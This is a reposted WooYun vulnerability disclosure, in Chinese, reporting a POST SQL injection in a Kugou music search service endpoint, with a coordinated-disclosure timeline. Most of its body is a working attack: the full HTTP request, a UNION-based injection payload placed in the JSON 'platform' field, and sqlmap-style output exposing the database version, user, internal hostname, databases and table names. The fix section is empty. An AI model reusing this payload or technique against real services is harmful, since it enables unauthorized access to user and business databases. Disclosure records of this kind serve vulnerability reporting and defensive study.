神刀安全网

漏洞标题: 酷狗一处POST SQL注入漏洞(可union查询)

漏洞详情

披露状态:

2016-04-27: 细节已通知厂商并且等待厂商处理中
2016-04-27: 厂商已经确认,细节仅向厂商公开
2016-05-07: 细节向核心白帽子及相关领域专家公开
2016-05-17: 细节向普通白帽子公开
2016-05-27: 细节向实习白帽子公开
2016-06-11: 细节向公众公开

简要描述:

rt

详细说明:

code 区域
POST /v1/word_nofocus HTTP/1.1
Host: so.service.kugou.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 159

{"appid":1001,"clientver":7685,"mid":"{9A228215-41D9-43AD-9A0C-613E7BA51838}","key":"980dfa886df5d7e4145037b79ef30c05","clienttime":1460173869,"platform":"pc"}

漏洞证明:

code 区域
Parameter: JSON platform ((custom) POST)
Type: UNION query
Title: MySQL UNION query (19) - 7 columns
Payload: {"appid":1001,"clientver":7680,"mid":"{7553F95E-DB33-45F7-BC84-1D68DC89A4A8}","key":"226698017d6ef361ed10c7caf898b19f","clienttime":1458471609,"platform":"pc' UNION ALL SELECT 19,CONCAT(0x71716a7a71,0x5157587053536246577971567766577847614543486e58417857786b476876757a5a6d656a41596e,0x716b766a71)#"}
---
[15:18:42] [INFO] the back-end DBMS is MySQL
[15:18:42] [INFO] fetching banner
back-end DBMS: MySQL 5
banner: '5.5.19-log'
[15:18:42] [INFO] fetching current user
current user: '[email protected]%'
[15:18:42] [INFO] fetching current database
current database: 'search'
[15:18:42] [INFO] fetching server hostname
hostname: 'ZhaoWei_10_1_1_156'
database management system users [1]:
[*] 'search_reader'@'10.1.18.%'

code 区域
available databases [3]:
[*] information_schema
[*] search
[*] test

code 区域
Database: search
[17 tables]
+----------------------+
| check_source |
| correction_exception |
| diy_sort |
| error_correction |
| kw_operate |
| likeword |
| onblur_tips |
| onblur_tips_logs |
| search_source |
| shielded_scids |
| shielded_songs |
| song_album |
| song_global |
| song_hot |
| song_special |
| song_tag |
| tag_search |
+----------------------+

修复方案:

版权声明:转载请注明来源 sauce@乌云

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » 漏洞标题: 酷狗一处POST SQL注入漏洞(可union查询)

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址